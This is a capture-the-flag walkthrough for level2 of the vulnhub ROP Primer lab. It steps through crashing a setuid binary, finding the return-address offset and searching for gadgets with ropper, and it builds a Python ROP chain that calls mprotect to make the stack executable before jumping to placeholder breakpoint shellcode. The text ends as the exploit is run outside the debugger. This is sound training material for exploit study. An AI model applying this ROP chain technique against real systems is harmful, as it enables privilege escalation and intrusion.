Introduction

This is walkthrough for level2 of ROP Primer from vulnhub.

Running the Application

level0@rop:/home/level2$ ls -l
total 588
-rw-r----- 1 root root     27 Jan 20  2015 flag
-rwsr-xr-x 1 root root 595252 Jan 20  2015 level2
level0@rop:/home/level2$ 
level0@rop:/home/level2$ ./level2 
level0@rop:/home/level2$ ./level2 AAAAAAAAAA
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAA!
level0@rop:/home/level2$

Application accepts command line arguments.

Crashing the Application

Enable core dump - ulimit -c unlimited

Copy the application to/tmp as the original level2 binary located at /home/level2/level2 is suid binary and won’t generate a coredump when crashed.

level0@rop:/tmp$ ./level2 $(python -c "print 'A'*300")
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault (core dumped)
level0@rop:/tmp$

Inspecting coredump in GDB.

level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 1184]
Core was generated by `./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$

Finding EIP Offset

Creating pattern.

$ `locate pattern_create.rb` -l 300       
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

Running the binary with new pattern string as argument.

level0@rop:/tmp$ ./level2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9!
Segmentation fault (core dumped)

Inspecting coredump.

level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 1200]
Core was generated by `./level2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x35624134 in ?? ()
gdb-peda$

EIP Offset:

$ `locate pattern_offset.rb` -q 0x35624134
[*] Exact match at offset 44

Basic Exploit Skeleton

import struct

def p(a):
        return struct.pack('<I', a)

payload = "A"*44
payload += "BBBB"
payload += "C"*256

print (payload)

Running against level2.

level0@rop:/tmp$ ./level2 $(python poc.py)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC!
Segmentation fault (core dumped)

Inspecting coredump in GDB, we can see that we have enough space in stack.

level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 1218]
Core was generated by `./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCC'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()
gdb-peda$ x/64xw $esp
0xbffff5f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff600:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff610:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff620:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff630:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff640:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff650:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff660:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff670:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff680:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff690:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff6a0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff6b0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff6c0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff6d0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff6e0:     0x43434343      0x43434343      0x43434343      0x43434343
gdb-peda$

Binary Protection Mechanisms

Only NX - non executable stack.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$

Approach

  • Make stack executable with mprotect()
  • Jump to shellcode in stack as there is enough space in stack for shellcode.

mprotect() syscall

int mprotect(void *addr, size_t len, int prot);

To issue mprotect syscall, below is the register alignment required before issuing an interrupt with int 0x80.

  • EAX = 125 or 0x7d
  • EBX = stack address for making RWX
  • ECX = length ; 0x21000
  • EDX = prot; RWX - 0x7

Gathering Required Gadgets

$ ropper --file level2 --search "pop e?x; ret"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop e?x; ret

[INFO] File: level2
0x08083a30: pop eax; ret 0x80c; 
0x080a81d6: pop eax; ret; 
0x0805249e: pop ebx; ret; 
0x08052476: pop edx; ret; 

$ ropper --file level2 --search "pop ecx"     
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ecx

[INFO] File: level2
0x080658d7: pop ecx; adc al, 0x89; ret; 
0x080658d1: pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret; 
0x080658ce: pop ecx; add al, 0x89; pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret; 
0x0804e54e: pop ecx; mov eax, dword ptr [0x80cb468]; test eax, eax; je 0x6560; mov dword ptr [ebp - 0x44], edx; call eax; 
0x080658d4: pop ecx; or al, 0x89; pop ecx; adc al, 0x89; ret; 
0x080c8967: pop ecx; or cl, byte ptr [esi]; adc al, 0x41; ret; 
0x080798b1: pop ecx; pop eax; jmp dword ptr [eax]; 
0x0808fe2c: pop ecx; pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080ab4c7: pop ecx; pop ebx; leave; ret; 
0x0805249d: pop ecx; pop ebx; ret; 

$ ropper --file level2 --search "push esp; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: push esp; ret

[INFO] File: level2
0x0804d819: push esp; ret 0x83f0; 
0x0804eea0: push esp; ret; 

$ ropper --file level2 --search "int 0x80; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80; ret

[INFO] File: level2
0x08052ba0: int 0x80; ret;

$ ropper --file level2 --search "pop eax"      
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop eax

[INFO] File: level2
0x080c4a84: pop eax; or eax, dword ptr [eax]; add byte ptr [eax + 0x5c], cl; clc; call dword ptr [edi + 1]; 
0x080810bc: pop eax; pop ebx; pop esi; pop edi; pop ebp; ret; 
0x0808479a: pop eax; pop ebx; pop esi; pop edi; ret; 
0x0804813a: pop eax; pop ebx; leave; ret; 
0x08083a30: pop eax; ret 0x80c; 
0x08077743: pop eax; sbb al, 0xb; or byte ptr [ebx + 0x7030843], cl; call eax; 
0x080c4166: pop eax; clc; jmp dword ptr [edx]; 
0x080a81d6: pop eax; ret; 

Selected gadgets:

pop_eax_ret = 0x080a81d6	# this address contains bad character 0a
pop_eax_ebx_esi_edi_ret	= 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0

Finding Address of Stack

level0@rop:/tmp$ gdb -q --args ./level2 AAAAAA
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048257
gdb-peda$ r
Starting program: /tmp/level2 AAAAAA
[...]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap 
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /tmp/level2
0x080ca000 0x080cb000 rw-p      /tmp/level2
0x080cb000 0x080ef000 rw-p      [heap]
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xc0000000 rw-p      [stack]
gdb-peda$

Implementation

One of the chanllenge I faced while looking for right gadgets to set up registers was that many gadget addresses contained bad characters such as 0x0a. Finding gadgets which did not contain bad characters like 0x00, 0x0d or 0x0a was quite painful. However, can be done with the help of ropper and requires a lot of patience.

Directly popping required register values like 0x7d or 0x7 or 0x21000 did not work as they have null bytes and would break our exploit. We need to use instructions available in the binary to make the registers contain our required values.

For setting up register eax as 0x7d, I searched for the following using ropper.

$ ropper --file level2 --search "add eax, 0x????????; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add eax, 0x????????; ret

[INFO] File: level2
0x0809c7fa: add eax, 0x291ff083; ret 0x9589; 
0x0806e2a8: add eax, 0x291ff8c1; ret 0x1b8; 
0x0806ebf7: add eax, 0x291ff8c1; ret 0xc26b; 
0x0808dadf: add eax, 0x29ec752b; ret 0x7d03; 
0x080486bd: add eax, 0x3910148d; ret 0xa77; 
0x0806754a: add eax, 0x5d5bc031; ret; 
0x080a596c: add eax, 0x8900768d; ret 0x828b; 
0x08097857: add eax, 0x89fffffb; ret 0xc031; 
0x080c8b72: add eax, 0xc6c70a7f; ret; 
0x08076a91: add eax, 0xc9fc5d8b; ret; 

I chose below gadget:

0x0806754a: add eax, 0x5d5bc031; ret; 

If we use some simple arithmetic, then we can make the register eax = 0x7d

# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c

Updating the PoC with the gadgets:

import struct

def p(a):
        return struct.pack('<I', a)

pop_eax_ret = 0x080a81d6
pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0
fake_ret = 0xcafebabe

add_eax_5d5bc031_ret = 0x0806754a

stack_addr = 0xbffdf000

shellcode = "\xcc" * 256

payload = "A"*44


# sys_mprotect
# EAX = 125 or 0x7d
# EBX = stack address for making RWX
# ECX = length ; 0x21000
# EDX = prot; RWX - 0x7


payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0xa2a4404c)                # eax = 0xa2a4404c;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk edi

# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c

payload += p(add_eax_5d5bc031_ret)

payload += p(pop_ecx_ebx_ret)
payload += p(0x21000)           # ecx = len; 0x21000
payload += p(stack_addr)        # ebx = stack addr
payload += p(pop_edx_ret)
payload += p(0x7)               # edx = 0x7; RWX


payload += p(fake_ret)
#payload += p(int_80_ret)       # call mprotect
#payload += p(push_esp_ret)     # return to stack

payload += shellcode

print (payload)

Run the program through debugger as: gdb -q --args ./level2 $(python poc.py)

level0@rop:/tmp$ gdb -q --args ./level2 $(python poc.py)
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ b *0x0808479a
Breakpoint 1 at 0x808479a
gdb-peda$ r
Starting program: /tmp/level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL@[snipped]
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL@[snipped]!
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff54c --> 0x80ca4c0 --> 0xfbad2a84 
EDX: 0x80cb430 --> 0x0 
ESI: 0x80488f0 (<__libc_csu_fini>:      push   ebp)
EDI: 0x841e1b42 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5a0 --> 0xa2a4404c 
EIP: 0x808479a (<__mpn_lshift+74>:      pop    eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8084794 <__mpn_lshift+68>: jne    0x8084780 <__mpn_lshift+48>
   0x8084796 <__mpn_lshift+70>: shl    eax,cl
   0x8084798 <__mpn_lshift+72>: mov    DWORD PTR [edi],eax
=> 0x808479a <__mpn_lshift+74>: pop    eax
   0x808479b <__mpn_lshift+75>: pop    ebx
   0x808479c <__mpn_lshift+76>: pop    esi
   0x808479d <__mpn_lshift+77>: pop    edi
   0x808479e <__mpn_lshift+78>: ret
[------------------------------------stack-------------------------------------]
0000| 0xbffff5a0 --> 0xa2a4404c 
0004| 0xbffff5a4 ('A' <repeats 12 times>, "Ju\006\b\235$\005\b\020\002\360\375\277v$\005\b\a\276\272\376\312", '\314' <repeats 165 times>, <incomplete sequence \314>...)
0008| 0xbffff5a8 ("AAAAAAAAJu\006\b\235$\005\b\020\002\360\375\277v$\005\b\a\276\272\376\312", '\314' <repeats 169 times>, <incomplete sequence \314>...)
0012| 0xbffff5ac ("AAAAJu\006\b\235$\005\b\020\002\360\375\277v$\005\b\a\276\272\376\312", '\314' <repeats 173 times>, <incomplete sequence \314>...)
0016| 0xbffff5b0 --> 0x806754a (<_IO_new_do_write+10>:  add    eax,0x5d5bc031)
0020| 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop    ecx)
0024| 0xbffff5b8 --> 0xfdf00210 
0028| 0xbffff5bc --> 0x52476bf 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0808479a in __mpn_lshift ()
gdb-peda$

Once we reach the return statement, register alignment is as follows:

gdb-peda$ 
[----------------------------------registers-----------------------------------]
EAX: 0xa2a4404c 
EBX: 0x41414141 ('AAAA')
ECX: 0xbffff54c --> 0x80ca4c0 --> 0xfbad2a84 
EDX: 0x80cb430 --> 0x0 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5b0 --> 0x806754a (<_IO_new_do_write+10>:   add    eax,0x5d5bc031)
EIP: 0x808479e (<__mpn_lshift+78>:      ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x808479b <__mpn_lshift+75>: pop    ebx
   0x808479c <__mpn_lshift+76>: pop    esi
   0x808479d <__mpn_lshift+77>: pop    edi
=> 0x808479e <__mpn_lshift+78>: ret    
   0x808479f <__mpn_lshift+79>: shl    ebx,cl
   0x80847a1 <__mpn_lshift+81>: mov    DWORD PTR [edi],ebx
   0x80847a3 <__mpn_lshift+83>: pop    ebx
   0x80847a4 <__mpn_lshift+84>: pop    esi
[------------------------------------stack-------------------------------------]
0000| 0xbffff5b0 --> 0x806754a (<_IO_new_do_write+10>:  add    eax,0x5d5bc031)
0004| 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop    ecx)
0008| 0xbffff5b8 --> 0xfdf00210 
0012| 0xbffff5bc --> 0x52476bf 
0016| 0xbffff5c0 --> 0xbabe0708 
0020| 0xbffff5c4 --> 0xcccccafe 
0024| 0xbffff5c8 --> 0xcccccccc 
0028| 0xbffff5cc --> 0xcccccccc 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0808479e in __mpn_lshift ()
gdb-peda$

The execution will now go to 0x806754a which contains the add eax,0x5d5bc031 instruction. Once this is executed, eax will become 0x7d.

gdb-peda$ 
[----------------------------------registers-----------------------------------]
EAX: 0x7d ('}')
EBX: 0x41414141 ('AAAA')
ECX: 0xbffff54c --> 0x80ca4c0 --> 0xfbad2a84 
EDX: 0x80cb430 --> 0x0 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>:  pop    ecx)
EIP: 0x806754f (<_IO_new_do_write+15>:  ret)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x806754b <_IO_new_do_write+11>:     xor    eax,eax
   0x806754d <_IO_new_do_write+13>:     pop    ebx
   0x806754e <_IO_new_do_write+14>:     pop    ebp
=> 0x806754f <_IO_new_do_write+15>:     ret    
   0x8067550 <_IO_new_do_write+16>:     mov    edx,DWORD PTR [ebp+0xc]
   0x8067553 <_IO_new_do_write+19>:     mov    ecx,ebx
   0x8067555 <_IO_new_do_write+21>:     mov    eax,DWORD PTR [ebp+0x8]
   0x8067558 <_IO_new_do_write+24>:     call   0x8067260 <new_do_write>
[------------------------------------stack-------------------------------------]
0000| 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop    ecx)
0004| 0xbffff5b8 --> 0xfdf00210 
0008| 0xbffff5bc --> 0x52476bf 
0012| 0xbffff5c0 --> 0xbabe0708 
0016| 0xbffff5c4 --> 0xcccccafe 
0020| 0xbffff5c8 --> 0xcccccccc 
0024| 0xbffff5cc --> 0xcccccccc 
0028| 0xbffff5d0 --> 0xcccccccc 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0806754f in _IO_new_do_write ()
gdb-peda$

Similarly, finding gadgets for setting up other registers while avoiding addresses containing bad characters.

import struct

def p(a):
        return struct.pack('<I', a)

pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
pop_ebx_ret = 0x0805249e

dec_ebx_ret = 0x0804f871

int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0

fake_ret = 0xcafebabe

add_eax_5d5bc031_ret = 0x0806754a

stack_addr = 0xbffdf001 # changed from 0xbffdf000 to avoid null byte

shellcode = "\xcc" * 256

payload = "A"*44


# sys_mprotect
# EAX = 125 or 0x7d
# EBX = stack address for making RWX
# ECX = length ; 0x21000
# EDX = prot; RWX - 0x7


# setup ecx = 0x21000
# 0x0805ea2c: add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret; 
# 0x800107ff + 0x80010801 = 0x100021000

payload += p(pop_ecx_ebx_ret)
payload += p(0x800107ff)        # ecx = 0x800107ff
payload += p(0x41414141)        # junk ebx

payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0x80010801)        # eax = 0x80010801;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk edi

# add ecx, eax
payload += p(0x0805ea2c)        # add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk ebp

# setup eax = 0x7d
# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c

payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0xa2a4404c)                # eax = 0xa2a4404c;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk edi

payload += p(add_eax_5d5bc031_ret)


# setup ebx = 0xbffdf000

payload += p(pop_ebx_ret)
payload += p(stack_addr)        # ebx = stack addr

# $ ropper --file ./level2 --search "dec ebx"
# 0x0804f871: dec ebx; ret;
payload += p(dec_ebx_ret)       # ebx => 0xbffdf001 - 1 = 0xbffdf000 ; stack address


# setup edx = 0x7

payload += p(pop_edx_ret)
payload += p(0xffffffff)               # edx = 0x7; RWX

# 0x0804b120: inc edx; cld; pop ebp; ret; 
#inc_edx_cld_pop_ebp_ret = 0x0804b120
inc_edx_cld_pop_ebp_ret = 0x0804b134

payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 0
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 1
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 2
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 3
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 4
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 5
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 6
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 7
payload += p(0x41414141)


#payload += p(fake_ret)
payload += p(int_80_ret)       # call mprotect
payload += p(push_esp_ret)     # return to stack

payload += shellcode

print (payload)

Checking if all the registers contain right values, before issuing interrupt:

level0@rop:/tmp$ gdb -q --args ./level2 $(python poc.py)
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ b *0x08052ba0
Breakpoint 1 at 0x8052ba0
gdb-peda$ r
Starting program: /tmp/level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..[snipped_for_brevity]
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..[snipped_for_brevity]!
[----------------------------------registers-----------------------------------]
EAX: 0x7d ('}')
EBX: 0xbffdf000 --> 0x0 
ECX: 0x21000 
EDX: 0x7 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>:    push   esp)
EIP: 0x8052ba0 (<_dl_sysinfo_int80>:    int    0x80)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052b9d:   nop
   0x8052b9e:   nop
   0x8052b9f:   nop
=> 0x8052ba0 <_dl_sysinfo_int80>:       int    0x80
   0x8052ba2 <_dl_sysinfo_int80+2>:     ret    
   0x8052ba3:   lea    esi,[esi+0x0]
   0x8052ba9:   lea    edi,[edi+eiz*1+0x0]
   0x8052bb0 <_dl_aux_init>:    push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>:   push   esp)
0004| 0xbffff5d0 --> 0xcccccccc 
0008| 0xbffff5d4 --> 0xcccccccc 
0012| 0xbffff5d8 --> 0xcccccccc 
0016| 0xbffff5dc --> 0xcccccccc 
0020| 0xbffff5e0 --> 0xcccccccc 
0024| 0xbffff5e4 --> 0xcccccccc 
0028| 0xbffff5e8 --> 0xcccccccc 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08052ba0 in _dl_sysinfo_int80 ()
gdb-peda$

Excellent, the register alignment is correct and as we wanted for mprotect() syscall. Checking if the stack is now executable after the interrupt int 0x80 is issued.

gdb-peda$ stepi
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xbffdf000 --> 0x0 
ECX: 0x21000 
EDX: 0x7 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>:    push   esp)
EIP: 0x8052ba2 (<_dl_sysinfo_int80+2>:  ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052b9e:   nop
   0x8052b9f:   nop
   0x8052ba0 <_dl_sysinfo_int80>:       int    0x80
=> 0x8052ba2 <_dl_sysinfo_int80+2>:     ret    
   0x8052ba3:   lea    esi,[esi+0x0]
   0x8052ba9:   lea    edi,[edi+eiz*1+0x0]
   0x8052bb0 <_dl_aux_init>:    push   ebp
   0x8052bb1 <_dl_aux_init+1>:  mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>:   push   esp)
0004| 0xbffff5d0 --> 0xcccccccc 
0008| 0xbffff5d4 --> 0xcccccccc 
0012| 0xbffff5d8 --> 0xcccccccc 
0016| 0xbffff5dc --> 0xcccccccc 
0020| 0xbffff5e0 --> 0xcccccccc 
0024| 0xbffff5e4 --> 0xcccccccc 
0028| 0xbffff5e8 --> 0xcccccccc 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08052ba2 in _dl_sysinfo_int80 ()
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /tmp/level2
0x080ca000 0x080cb000 rw-p      /tmp/level2
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffe000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xbffdf000 rw-p      mapped
0xbffdf000 0xc0000000 rwxp      [stack]
gdb-peda$

Bravo!. The stack is RWX as evident from vmmap.

Continuing execution to see if we can execute the SIGTRAP’s or \xcc we placed as shellcode.

gdb-peda$ c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xbffdf000 --> 0x0 
ECX: 0x21000 
EDX: 0x7 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5d0 --> 0xcccccccc 
EIP: 0xbffff5d1 --> 0xcccccccc
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xbffff5d1:  int3   
   0xbffff5d2:  int3   
   0xbffff5d3:  int3   
   0xbffff5d4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbffff5d0 --> 0xcccccccc 
0004| 0xbffff5d4 --> 0xcccccccc 
0008| 0xbffff5d8 --> 0xcccccccc 
0012| 0xbffff5dc --> 0xcccccccc 
0016| 0xbffff5e0 --> 0xcccccccc 
0020| 0xbffff5e4 --> 0xcccccccc 
0024| 0xbffff5e8 --> 0xcccccccc 
0028| 0xbffff5ec --> 0xcccccccc 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xbffff5d1 in ?? ()
gdb-peda$

Just to verify that the exploit works, lets run it outside debugger.

level0@rop:/tmp$ ./level2 $(python poc.py)
[+] ROP tutorial level2
